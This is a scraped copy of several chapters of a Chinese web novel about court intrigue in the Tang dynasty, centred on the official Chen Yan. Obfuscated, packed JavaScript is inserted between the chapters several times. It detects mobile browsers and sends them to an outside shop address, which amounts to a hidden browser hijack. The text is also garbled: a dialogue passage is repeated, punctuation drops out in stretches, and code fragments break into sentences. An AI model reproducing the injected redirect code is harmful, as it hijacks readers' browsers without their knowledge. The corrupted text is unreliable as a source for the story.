;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小说全网首发无弹窗免费阅读caixs.com∷(请来才 小说 看最新章节 完整章节) “难道不是吗?戴胄怒道:“那请段大人告诉我,建造什么殿,用得着五十万贯? “五十万贯都够买你十条命,剩下的钱还能请满朝文武吃三年烧饼了,你跟我说不够? “戴大人需要我把各项花费,仔仔细细,一条一条摆在你面前吗?段纶深呼吸一口,冷着脸。 “你摆啊! 戴胄才不相信,“你敢摆,我就敢看! “反正要钱是没有,户部已经批了三次了,够多了!!! 段纶:“所以,戴大人是要阻碍科举,视为此准备多年的学子如无物,视陛下的命令如随意之言吗? “少**给我戴帽子!戴胄道:“我已经说了,户部为此给工部批的钱够多了! “如果你们觉得不够,那你们派人来抢啊! “彼其娘的,真拿我们户部当软柿子了?是个人都来捏捏? “我坚持自己的观点,你该好好查查你们工部了!! 李世民听着只想打瞌睡,这也是他想让陈衍当户部尚书的原因。 这玩意吧,你不是块硬骨头,没点骂人的小词儿,你都胜任不了。 不过李世民眼睛眯了眯。 戴胄说得确实有道理,一年下来,陆陆续续批了五十万贯,居然没建成一个用于科考的‘文明殿’,这属实说不过去。 陈衍那小子昨天刚上任,便在户部找出了那么多贪官。 这工部.是时候该好好查查了。 而且段纶办事效率实在太低,一年了,竟然还没建成‘文明殿’。 哪怕因为钱不够,也该早些提出来才是。 这眼看便到年底,明年开春就是科考的时候,今天若不是陈衍提出主持的事,段纶会不会提此事还不好说。 “. 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 “一天天这个要钱,那个要钱,你们怎么不想想大唐一整年的收入才多少?你建造一个‘文明殿’就要过去五十万还不够.” 戴胄冷哼,挥着袖子,“呵呵.依我看,你该好好查查你们工部了!” “你什么意思?”段纶怒视,“你在怀疑我们工部中饱私囊?” “难道不是吗?”戴胄怒道:“那请段大人告诉我,建造什么殿,用得着五十万贯?” “五十万贯都够买你十条命,剩下的钱还能请满朝文武吃三年烧饼了,你跟我说不够?” “戴大人需要我把各项花费,仔仔细细,一条一条摆在你面前吗?”段纶深呼吸一口,冷着脸。 “你摆啊!” 戴胄才不相信,“你敢摆,我就敢看!” “反正要钱是没有,户部已经批了三次了,够多了!!!” 段纶:“所以,戴大人是要阻碍科举,视为此准备多年的学子如无物,视陛下的命令如随意之言吗?” “少**给我戴帽子!”戴胄道:“我已经说了,户部为此给工部批的钱够多了!” “如果你们觉得不够,那你们派人来抢啊!” “彼其娘的,真拿我们户部当软柿子了?是个人都来捏捏?” “我坚持自己的观点,你该好好查查你们工部了!!” 李世民听着只想打瞌睡,这也是他想让陈衍当户部尚书的原因。 这玩意吧,你不是块硬骨头,没点骂人的小词儿,你都胜任不了。 不过李世民眼睛眯了眯。 戴胄说得确实有道理,一年下来,陆陆续续批了五十万贯,居然没建成一个用于科考的‘文明殿’,这属实说不过去。 陈衍那小子昨天刚上任,便在户部找出了那么多贪官。 这工部.是时候该好好查查了。 而且段纶办事效率实在太低,一年了,竟然还没建成‘文明殿’。 哪怕因为钱不够,也该早些提出来才是。 这眼看便到年底,明年开春就是科考的时候,今天若不是陈衍提出主持的事,段纶会不会提此事还不好说。 “.” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 第535章 皇宫待不了一点 殿内争吵了半天,最后李世民嫌烦,直接宣布了退朝。 众官员行礼,待李世民离开,陈衍瞅准机会,撒腿便跑。 “呔,你个忘恩负义的狗东西,给老子站住!” 程咬金怒斥,大步追了上去,尉迟恭也不迟疑,开团秒跟。 然而陈衍多精啊,不往宫外跑,而是往宫内跑。 “哎!” “小爷有陛下和娘娘御赐的令牌,你们有胆子跟小爷进后宫啊!” 陈衍一边跑还一边口花花,丝毫不怂。 这可给程咬金、尉迟恭两人气够呛。 有令牌了不起啊? 好吧,你确实了不起! 两人还真不敢继续往里追了! 天下能进立政殿如回家一般,如此殊荣,唯陈衍一人! 站在后宫门前,陈衍一手叉腰,一手勾了勾手指,“你们过来呀!” 两人:“.” “行行行!”程咬金气笑了,“有种你就永远住在这里,要不然,哼哼你就等着吧!” “我就不相信你不回家!” “我回家你能咋地?”陈衍依旧不怂,“等你俩回去,挨了二十大板,能不能下地还不好说呢,你吓唬谁呢?” 他不提还好,一提,两人瞬间炸毛了。 停职、罚俸、降爵,他们都觉得没什么,毕竟本来就是为了这个,等出去打了胜仗,一切不都回来了吗? 而且还不用担心有功高震主的风险,多好? 唯一让他们气的,就是陈衍那句再赏他们二十大板。 属实给两人整破防了! “好你个陈子安,你**给老子记住了,你别让老子逮着机会,如若不然,有你他娘好看的!” 程咬金破口大骂! “陈衍!”尉迟恭则是更气,“当初你出奸计,让老秦带着儿子上门骗俺闺女,俺就不说了,毕竟怀道好歹跟俺家闺女郎情妾意。今日上朝,亏俺还担心你,结果你给俺干下来不说,还要打俺二 十大板! “你行啊,陈衍!你是个狠人啊! 尉迟恭那叫一个气,仰天吼道:“温嫂嫂,你看看,你看看你家儿子,是他先不仁的,嫂嫂您别怪俺不义了! 陈衍的母亲就姓温。 “干什么呢? 忽然,一声严厉的呵斥从背后传来! 长孙皇后带着两名女官走过来,先是扫了眼陈衍,随即强忍着笑意,瞪着程咬金和尉迟恭! “你们当这里是什么地方,来本宫的地盘撒野了? 程咬金和尉迟恭顿时不敢说话了。 “皇后殿下.臣等,没有那个意思,实在那小子.太气人了!程咬金咬牙切齿。 长孙皇后险些笑出声,但依旧板着脸,“本宫不管你们有什么理由,来这里撒野就是不行,都给本宫滚回去! “.是! 两人不敢造次,幽怨地看了眼背后跟狗仗人势的陈衍。 他们走后,长孙皇后往后一瞅,才发现陈衍眼睛瞪得老大,一脸的嚣张跋扈,活脱脱像个找到老母鸡的小鸡崽子,顿时忍不住笑了。 “行啊你,上岸第一剑,先斩大老黑! “还打他们二十大板,亏你想得出来。这里面要是没有点私人恩怨,本宫是不相信的。 陈衍讪笑,“让皇后殿下见笑了,不过这两个大老黑罪有应得,可跟什么私人恩怨扯不上关系,您莫要污蔑我。 “是吗? “本宫跟陛下将令牌给你,可不是用来让你躲灾的。 陈衍噎了一下,意识到今天操作,长孙皇后可能有点生气了。 跑后宫门前大闹,确实很过分。 “哎,好嘞,我记住啦。 长孙皇后神色缓和下来,“今日的事,大家都是明眼人,看得出来是什么情况。你想帮帮程咬金他们,这无可厚非,但这种事并不一定需要你来做。 “毕竟你受了程咬金他们照顾多年,你来做这件事,对你的名声影响太大,今后倘若有类似的情况,可以让杜构,或者房玄龄他们来做。 “最好的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009335|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选其实是魏征,他为人实际并不死板,不介意卖你一个人情的。如此一来,你目的达到了,还能置身事外,多好? 陈衍眨眨眼,摇摇头,“不了,这件事就自己做最好,别人以为的,正是我希望看到的,我始终记得一句话——人不狠,站不稳! 他言语点到为止,但已经足够让长孙皇后明白他的想法了。 迟疑了一会儿,她叹息,“算了,你已经长大了,很多事情,本宫不好插手太多,你自己注意点吧。 “以后.常带丽质和高阳,以及小岁安过来跟本宫吃吃饭,聊聊天,知道吗? 听到这话,陈衍重新露出笑容,“我记住了,皇后殿下,今后肯定多带妻女回来陪您。 “嗯!长孙皇后颔首,“离去吧,今天的事,本宫看看能不能跟陛下说说,帮你运作一下。 “我 “阿兄,阿兄啊! 陈衍正欲开口,小兕子迈着小短腿,嗷嗷着飞奔过来,像颗小炮弹似的径直撞到他腿上,紧紧抱住。 他脸立马黑了。 这是干啥呢? 哭丧呢? 小家伙仰着小脸,一双大眼睛泪汪汪的,看得直叫人心要化开,“阿兄你终于来了,你是不是来带我走的?那快点吧,我已经没有东西要收拾了,现在就跟你走,这皇宫我是待不了一点了。 陈衍:“. 长孙皇后:“. “还有我,还有我呀! 不待他们说话,城阳小公主背着一个小包裹,一边跑过来,一边急切地大喊,生怕陈衍把自己忘了。 望着长孙皇后愈发黢黑的脸,陈衍那叫一个尴尬,“殿下.您看这. 长孙皇后只觉得心里憋着一口气,这皇宫就那么不好吗? 怎么一天天就想着要跑出去呢? “.算了,既然她们想走,你就带走吧。 “阿兄,你还在等什么?阿娘都发话了,咱们快走吧! 兕子大喜,急忙拉着陈衍的裤脚往外走,好似后面是有什么可怕的东西一样。 “. 第536章 得逼他一把 程咬金气冲冲地回到家,坐在椅子上,咋寻思咋不爽。 要不了多久,自己估计就要被抓去打板子了。 这谁心里能舒坦得了? 他坐了一会儿,大喊:“处亮?程处亮!过来给老子倒杯水!” “你嗷嗷叫唤什么呢?” 崔夫人微微蹙眉走进来,“方才就看你跟头牛一样冲进来,怎么滴?谁又惹你不高兴了?” “还能是谁?都是我那从小看到大的好大侄儿啊!” 程咬金满脸的不爽,特别是还被长孙皇后呵斥了。 然而,崔夫人听到这话,眉头顷刻间舒展开,心里那点担忧瞬间放下了。 她一脸淡定,对此已经**以为常。 缓缓坐下来,崔夫人招呼下人倒了两杯水,随后才问道:“说说吧,你又怎么跟个孩子置气了?” 程咬金:“.” 不是,什么叫我跟个孩子置气? 以前就算了,现在都成婚、及冠,还能算是孩子吗? 他更不爽了,“今日那小子上朝第一天,就参了我一本,还让陛下停了我的职,罚了我一年俸禄,连爵位都得降!” “你瞧瞧他干的是人事儿吗?” “亏我.” “哎,行行行!”崔夫人懒得听这些,“过去的日子,你不到处找事,想要犯错挨罚吗?现在子安帮了你一把,你又怨上了。” “那么大个人了,怎么分不清好赖呢?” “停职就停职吧,正好这段时间给处默物色个好姑娘。至于罚俸和降爵咱家也不缺那点玩意,你们打一回仗,带回来的东西比你十年俸禄还多。” “你不是说明年就要打仗了吗?这些东西都会回来的。” “你看看子安多惦记你啊,第一次上朝就帮你一把,你还在这里埋怨人家,你可真不是个东西。” 程咬金:“.” 一番话,给他干沉默了。 程咬金那叫一个气啊,很想解释两句,想想又觉得丢人, 但眼看妻子不理解自己索性破罐子破摔。 “倘若仅仅是这样我当然记得那小子的好但那小子不干人事儿啊他还让陛下打我二十大板!” “你说这么冰冷的话他是怎么说出口的?” “.” 程咬金言语间带着三分愤慨、三分不解、三分埋怨以及最后一分委屈。 而崔夫人在听到之后愣神一会儿然后忍不住笑了出来。 “你哈哈哈你让我说你什么好?我叫你在人家小时候别弹人家雀雀长大了还一个劲捉弄他现在好了吧?遭报应了吧?” “你别在这露出这种神情了要我说你啊就是活该!” “我”程咬金语塞说不出反驳的话。 这小子.真**记仇啊! “二十大板就二十大板。”崔夫人干咳“反正你这么大个体格子屁股上垫上点东西忍忍就过去了。” “再者刑部或者大理寺的人不一定真的敢打你有什么好气的?” “赶紧给处默找个好姑娘才是正事!” “我”程咬金很想说这是二十大板的事吗? 分明是面子上的问题啊! “哎算了我懒得跟你说。” “至于处默的媳妇我想想哈。” “.” “二郎 长孙皇后说到做到在陈衍离开之后便找到了李世民。 后者沉思“观音婢指的是陈衍**程咬金和尉迟恭?” “对。”长孙皇后温声道:“整个长安都清楚子安父母早亡是程咬金、尉迟恭还有秦琼他们几个一直护着。” “如今子安第一次上朝便对两人发难若传得好别人会认为子安铁面无私是名好官若传得不好子安便是忘恩负义了.” 李世民闻言笑笑“观音婢觉得以那小子的脑袋想不到这个问题?” “臣妾也问了。”长孙 皇后轻笑,“不过子安说,别人认为的,就是他想看到的,臣妾觉得,子安终究是年轻了,考虑问题太片面了。 “名声,有时候是能**的! “特别是在这个关键时期,更不应该拿名声来做赌注! “不不不!李世民伸出手,否认了长孙皇后的话,认真解释道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009336|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“观音婢啊,你是关心则乱,这次,考虑问题片面的是你啊! 长孙皇后一怔,“二郎这是何意? “哈哈哈哈哈! 李世民忽然大笑,“观音婢,令你不解的问题,朕真的太少见到了。 “二郎说笑了,臣妾又不是什么聪明至极之人,天下间臣妾不明白的问题实在太多。要不然,臣妾岂不是能更好地帮到二郎?也不用如现在般事事只能稍微给出点微不足道的建议。 李世民不置可否,翘了翘嘴角,显然是对长孙皇后的话很受用,颇为得意道:“既然你不懂,朕今日便同你解释解释。 “观音婢,朕问你,你在干嘛? 一句话,瞬间点醒了长孙皇后。 是啊! 她在干嘛? 她在为陈衍的名声着想啊! 想清楚这一点,她哭笑不得,“合着,这小子把臣妾都考虑进去了? “不不不,这可不是他聪明的点! 李世民继续道:“你说的话很有道理,名声,有时候是能杀死一个人的。但你有没有想过,**掌握在谁手里? 长孙皇后豁然开朗,一下子想清楚了所有疑问。 **掌握在谁手里? 这个问题还需要问吗? 现在天下的**,皆被一纸‘大唐民报’牢牢掌控。 今日朝堂之上发生的事,只需稍稍润色,从另一个角度去讲,陈衍在民间不就是大公无私了吗? 至于朝堂上的名声。 陈衍在乎吗? 根本不在乎。 因为现在的朝堂大多是想巴结他的人。 而想对付他的人又控制不了**,他们又能为此做什么? 沉默良久,长孙皇后啧了声,“臣妾忽然觉得,您打算让子安年初上任户部尚书,而不是扶持一个傀儡上来,是一个正确的选择了。 “是臣妾错了,二郎你是对的! “对嘛! 李世民胸有成竹道:“对子安啊,你就不能太放任他,不逼他一把,他就只会嗯.那个词叫什么来着? “噢,摆烂! “. 第537章 今日份快乐 起初陈衍是想回户部的,毕竟刚上任第二天,事情多得要死。 可因为两个小家伙,他只好先回一趟家。 当然了,一路上,陈衍一个劲地数落两人,“让你们在宫里住一段时间,你们就住嘛,至于那么着急回来?” “再说了,就算要跟我回来,也不应该当着你们阿娘的面啊。皇后殿下待你们多好,你们这搞得好像她是什么坏人似的。” 小兕子委屈巴巴道:“阿娘很好,但阿娘太严厉了,什么都不让我跟姐姐做,吃饭饭都不能吧唧嘴,更别说玩了,我跟阿姐一点都不开心。” “就是就是!”城阳小公主一个劲地点头。 跟着陈衍无忧无虑,自由自在地生活了那么久,谁还能受得了长孙皇后的管教方式呀? 她们不是不听话,只是见过了更好的,很难再回到从前了。 陈衍一时语塞,张了张嘴,最后只余下一声叹息。 关于长孙皇后这一点,从前他自己也说过。 长孙皇后什么地方都好,足以说得上无可挑剔,唯有思想太过古板,在教导孩子这方面,更是讲究一个规矩。 “.算了,今天你们跟我回去,但也要答应我,每个月都得回来跟皇后殿下住一段时间,听到没有?” “嗯嗯呢。”两个小家伙忙不迭地点头。 离开皇宫久了,她们也是会想念阿娘的。 每个月回来住一段时间正合她们心意。 反正现在陈衍回了长安,来回很方便。 至于陈衍 他表面虽然嫌弃两人,但两个小家伙走了,他在家里的时候同样很是想念。 毕竟一起生活了那么久,几乎当成亲妹妹在养了,哪能不想啊? 不多时,陈衍就带着两个小家伙回到了家里。 说是没什么东西带,其实带东西的都是她们的侍女,两个小家伙自然是不用操心那么多的。 所以一回到渭国公府,两个小家伙就撒欢似的找小清月玩去了。 李丽 质收到了消息连忙赶过来“今日才上任第二天怎么这般早回来了?” “而且我方才还看到了兕子和城阳” “别提了。”陈衍无奈叹息“去趟后宫她们两个小家伙吵着要跟我回来实在没办法了只好先带她们回来。” 李丽质听后柳眉微微一皱“她们有些太不像话了我说她们去!” “哎哎哎算了算了!” 眼看李丽质真的要跑去教训兕子和城阳陈衍急忙拉住她“两个小孩子罢了哪里懂得那么多?只是想我们了故此想回来罢了我待会再去户部就行不耽误事。” “再者也仅此一次而已何必让刚回来的她们不高兴呢?” “你就惯着她们吧。”李丽质白了他一眼。 在她看来夫君目前处于仕途最重要的阶段其他一切事情都得让步怎能因为两个妹妹任性而荒废了公务? “你这话说得我惯着她们也惯着你们啊。” 陈衍笑呵呵道:“对于我来说什么都没有家里重要这两个小家伙一走家里都少了很多乐趣现在回来正好。” “哟咱们的户部侍郎回来啦?” 这时高阳那熟悉的语调从背后传来“听闻你今日在朝堂之上大出风头连续干下来两位国公举荐了科举的主持还让工部和户部尚书因此吵了起来。” 闻言陈衍目光骤然深邃下来盯着后面那道走过来的倩影半晌 “下朝才没多久您就收到消息了?” 高阳自然听出了他语气中的阴阳怪气但她丝毫不在意反倒以此为荣。扬了扬白皙的下巴“本宫的人脉岂是你一个小小户部侍郎能想象的?” “还有见到本公主记得行礼!” 陈衍:“.” “怎么?要我给你磕一个?” 高阳顿了顿似乎察觉了点不对语气一下子弱了下来“那倒也不用。” “滚犊子以后少跟魏王打听这些 ,知道的明白你在关注我,不知道的还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009337|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为你想干嘛呢。陈衍没好气道。 高阳瘪瘪嘴,今天又是挨骂的一天,偏偏还不敢顶嘴,怕晚上挨教训。 她忽然感觉自己有点不争气了。 以前她很强势的。 李丽质无语。 你说你装个什么玩意儿? 还不到三息就怂了。 就多余跳出来。 “耶,多日不见,嘴硬姐不嘴硬了耶~ 不知何时,兕子又从拐角探出小脑袋,笑嘻嘻地说了一句,然后撒腿便跑。 高阳:“. 陈衍憋着笑,“好了,正好兕子和城阳回来了,今后你就跟她们玩去吧,等小岁安再长大些,你又能多一个玩伴。 “就这样吧,我还有事要忙,先出门了,你们记得叫人再把两个小家伙的屋子收拾一下。 说着,他跟两人打了声招呼,出门了。 等陈衍离开,高阳郁闷地问:“姐姐,我是不是又被瞧不起了? “嗯 “满府找人。 高阳:“. “姐,你不提这回事,咱们还是好姐妹。 李丽质抚额,转而问:“你方才说夫君在朝堂上大出风头怎么回事? “什么叫,第一次上朝干下来两位国公,引得户部尚书和工部尚书争吵? 提起这个,高阳眼睛登时亮了,“姐姐,我跟你说 就在李丽质侧耳倾听时,一种莫名的熟悉感涌上心头,她立即警惕了起来,“你先等等! 说着,她眯起眼,四处转头看,果然又看到兕子带着城阳小公主贼溜溜地伸出两个脑袋,竖着耳朵偷听。 “呀,姐姐,我们被发现啦! 兕子惊慌失措,一转头,却发现城阳已经跑出了老远。 小家伙傻眼了。 刚要迈腿逃命,小耳朵一疼,被揪住了! “我亲爱的妹妹,你要去哪里呢? “.哈哈,我亲爱的阿姐,我们商量一下,可以和解的. “. 第538章 踏上故乡的领土 回到户部,周围的人都在忙,陈衍便去了戴胄那里。 戴胄的意思是,头三天,先不用干太多,先把户部各种数据、流程全部熟悉就好,在三天之后再开始着手处理公务。 当陈衍坐下来之后,沉思一会儿,突然问,“尚书大人,朝堂的日常,都如今天这样吗?” 戴胄一顿,自然明白陈衍指的是什么,但他脸上丝毫看不出不好意思,反而认真道:“确实是这样的,等你今后多上几次朝就明白了!” “在那种地方,能被拿出来商议的,都不是小事,大家各执己见,各有各的想法,争执是很正常的。” “毕竟,谁都有自己的理,认为自己是对的,是为了这天下万民,亦或者为了朝堂稳固,自然谁都不肯让步。” “你今天不依旧跟魏征险些吵起来吗?其实你们那都不算个什么,太克制了。” “我估计魏征也是看你第一次上朝,言语遣词用句相当克制,如若不然,他很可能以你双亲起手。” 陈衍:“.” “这我属实没料到啊。” 他语气肃然,缓缓摇头,表示长见识了! “没料到就对了。” 戴胄嗤笑,“外面,谁都认为朝会应该是严肃的,各部大臣各自上奏,大家和和气气处理政事,实则这才是朝堂真正的样子。” “当然了,我这里单纯指的是常朝,如果是有外人在,那我们还是要讲究一个雅量的!” “你不是经历过元日大朝会吗?那个时候你严肃便好。” “其余的常朝嘛.你想问候谁都可以!” “当初魏王上朝的时候,还有人问候过他呢。” 陈衍倏地瞪大双眼,“不能吧?以魏王的身份,还有人敢骂他?” “怎么不会?”戴胄甩了甩袖子,“情绪一时激动了,还管对面是谁?” “魏征不经常骂陛下.咳咳,当然,那是暗搓搓的骂,并不直白。” “如我等大臣们,便不用顾忌那么多了,从双亲开始,一路往前问候就行 ,否则会吃亏。” 话到此处,戴胄想起来一个事,认真道:“还有一点我需要提醒你,作为户部的人,我们更加容易面对这种事,所以你要做好心理准备啊。” “今天的事,不过是我的日常罢了!” 瞧瞧! 瞧瞧! 什么叫做老艺术家的从容? 这就是啊! 一句不过是日常,道尽了多少心酸,又展现了何等泰然? 陈衍肃然起敬! 牛而逼之! 正当他准备继续看文书时,忽然听到戴胄咳嗽了起来,而且较为严重,不是那种偶然的咳嗽。 陈衍眨眨眼,想起来一件事。 在原本的历史当中,戴胄其实没有调任,一直干着户部尚书,直到贞观七年病逝。 那个时候,他才四十多岁。 “尚书大人可是身体不适?不如让我看看?在岐黄之术这方面,我自认为还是有几分建树的。” “不用,我这个是” 戴胄本想拒绝,毕竟他这个已经算**病了,不知看了多少医者,一直没什么太大效果。 但突然想起,眼前这位好像确实不一般啊。 连太医令断言活不过半月的杜如晦,都硬生生被救了回来,长孙皇后现在的气色也是越来越好。 “行,那麻烦你给我看看。” 戴胄不是犹豫的人,他才四十多岁,不算老,甚至能算得上正值壮年,自然不想身体出现什么问题。 替戴胄把了脉,陈衍侧头问,“尚书大人,你在深夜处理公务的时候,有没有感觉左侧胸闷,如大石压榨,疼痛牵连左臂内侧,且伴有心悸盗汗?” 戴胄大为震惊,“你说的全中!” “嗯,其实不是什么大问题,应该是你从前身兼数职,积劳成疾,小病慢慢发展成大病了。”陈衍轻笑道: “回头我给你开一副方子,你按照方子派人去抓药、煎药,按时服用,然后我每日替你做一次针灸,你趁着这段时间好好休 息,今后莫要太过劳累便好。” “不过,尚书大人,您这个问题说小很小,说大也很大,如果不注意的话,可能遭遇性命之危!” 最后一句话,陈衍说得比较重,希望戴胄能重视起来。 后者赶紧点头! 古人身上其实有很多优点的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009338|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比如在病这方面,谁都不敢大意。 因为一个小病而导致死亡的例子实在太多,生病了,自然不敢大意。 更好的一点就是,他们极其听医者的话。 看看从前被瘦成皮包骨的兕子就知道了。 那真是一点荤腥、油沫都不给沾啊。 “.” 与此同时,在大唐之外,边境的海域上,一队庞大的船队从雾霾中缓缓行驶而来。 如果是陈衍在这里,一定能认得出来,其中最中间的九艘大船,正是他耗费巨资打造的。 “彼其娘的,半年了,老子终于回来了!” 眼看即将进入大唐,牛进达比往日沧桑、消瘦许多的面庞不由浮现出一抹惊喜,“等回去,定要叫陈衍那小王八蛋让老子在醉仙楼免费喝一年酒!” “光**说占城稻有多好,给我们准备的有多么充分,但也没说海上这么累啊!” “老子嘴里都快淡出个鸟了!” 袁天罡与李淳风不像牛进达表现得那么激动,且口吐芬芳,但从他们眼里,依然能看得出来他们很高兴。 他们曾于渭南县悄然离开,默默无闻。 于海域上飘泊数月,又在短短半月时间内疯狂厮杀掠夺。 如今,他们完成了使命,带回了大量的占城稻种子,即将踏上故乡的领土。 此时他们的心情,已经无法用任何言语来形容了! 因为任何言语在此刻都是苍白无力的。 “小子,你真的很不错,等回去之后,俺亲自跟陛下帮你请功!” 牛进达大力拍着薛礼的肩膀,对其欣赏无比! 太猛了! 此人仿佛就是为了战场而生! 在他身上,牛进达隐隐看到了当初秦琼的影子。 那种英雄盖世的风范,任谁都得侧目! 薛礼闻言露出一口牙齿,略显憨厚,“将军,原本属下还觉得累,但现在听您这句话,属下感觉一切都值了!” 此言一出,牛进达、李淳风、袁天罡三人齐齐一怔! 随即纷纷哈哈大笑! 累吗! 累就对了! 值吗! 太值了! “.” 第539章 坏事?还是好事? 贞观五年底,此时的李世民与贞观四年初已经大不相同。 贞观四年的时候,他连给长孙皇后办个寿宴都得精打细算,抠抠搜搜的。 但现在,李世**打的就是一个壕无人性! 自从无数钱财砸下去,陈衍当初提议成立的情报组织,原本一点不被重视的不良人此时已经初具规模,由李世民的堂弟李道宗掌管。 前两日,李世民觉得工部有问题,段纶办事不行之后,他便下令让李道宗暗中彻查工部。 到了今日,李道宗便把初步的消息递了上来。 李世民捏着手中厚重的折子,嘴角扯出一丝讽刺的笑。 如果没问题,那么仅仅一个初步的消息,至于用这么厚的折子吗? 哪怕没看过,李世民也能猜到里面的内容恐怕不简单。 “这是你两日之内查出来的?” 他没有第一时间打开折子,而是问了李道宗一句话。 “回陛下确实如此。” 李道宗摸不透李世民的心思,老老实实答道。 “好!很好啊!” 也不知道李世民是在说不良人办事效率高,还是在讽刺工部。 他面色平静地打开折子,逐词逐句地翻看,下面的无舌和李道宗都胆战心惊起来。 因为他们深知里面的内容是如何的让人惊骇,生怕李世民因此暴怒牵连他们。 然而,让他们心更加沉重的是,李世民表面没有丝毫动怒,只是在看完之后眼眸深邃了些。 “你们说是只有工部有问题,还是六部都有问题?” 殿内沉寂片刻,李世民淡然问出了一个问题。 无舌和李道宗面面相觑,后者迟疑了一下,上前道:“陛下.前两日,户部陈侍郎上任第一天便查出了不少人,今日已经查出证据,送往了大理寺,这还是戴公两年前彻查过一次的结果” 潜台词:工部、户部都是如此,其他四部很难说。 李世民微微颔首,“暗中调查,不要声张,朕等着明 年科举结果!” “是,陛下!” 两人拱手,缓缓退了下去。 等着明年科举结果那还用说吗? 明年春的科举必然不同凡响,现在满朝文武谁不知道陈衍一座图书馆,打破了世家对知识的垄断? 仅仅一年间,多少寒门子弟整日泡在里面苦读! 如果结果不错,那么朝堂又将进行一次大清洗。 倘若结果不尽人意,那么掌握一大堆证据,今后做什么事不得被李世民拿捏? 在这朝堂上,贪官有时候不一定要清理掉! “.” 户部。 按照戴胄的安排,今日陈衍已经正式接手户部尚书的日常公务。 当然啦,戴胄就在一旁盯着。 他不会对陈衍的决断去否定、质疑什么,只是会偶尔提出自己的见解,给出一些建议。 陈衍不得不感慨,有这样的领导真是太舒服了。 遇到实在难以决断的,他同样会询问戴胄。 不过,陈衍没想到的是,戴胄也在为陈衍的思路而感到心惊。 明明一件很普通的事,在陈衍手里,总能以不同的角度,给出与他们思路相违背,却又更好的解决方法。 看似戴胄在教导陈衍,实则两人都在相互学习。 此时,韩仲良敲门进来,看见陈衍坐在戴胄的位置上,表情没有一丝异色。 “尚书大人、陈侍郎,前两日康崇举报的贪官已经查明了,证据和人犯都已经移交了大理寺.空出来的位置,让谁上来比较合适?” “你去拟定一份名单,让他决断吧。” 戴胄毫不遮掩地挥挥手。 韩仲良是聪明人,从一口应下陈衍的要求之后,他就猜到韩仲良可能明白了什么,所以也没想着遮遮掩掩。 “是,尚书大人,那下官便先行告退了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009339|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韩仲良不意外,双手作揖,退去。 “戴公.近两日有没有感觉身体情况好转了? ” 韩仲良一离开陈衍放下手中的文书侧头询问戴胄的病情。 “你别说这两天啊手中的公务有你处理加上你的针灸和药确实感觉轻松了些。” 提起此事戴胄神色多了些喜意“往日总觉得心口压了块大石现在感觉那块大石正在慢慢移开。” “多亏了你啊!” “戴公客气了。”陈衍含笑摆手“你那日跟我说的话我认为很有道理大家都在一张网上往后基本在一起共事此事于我来说不过举手之劳而已戴公无需过多感激。” 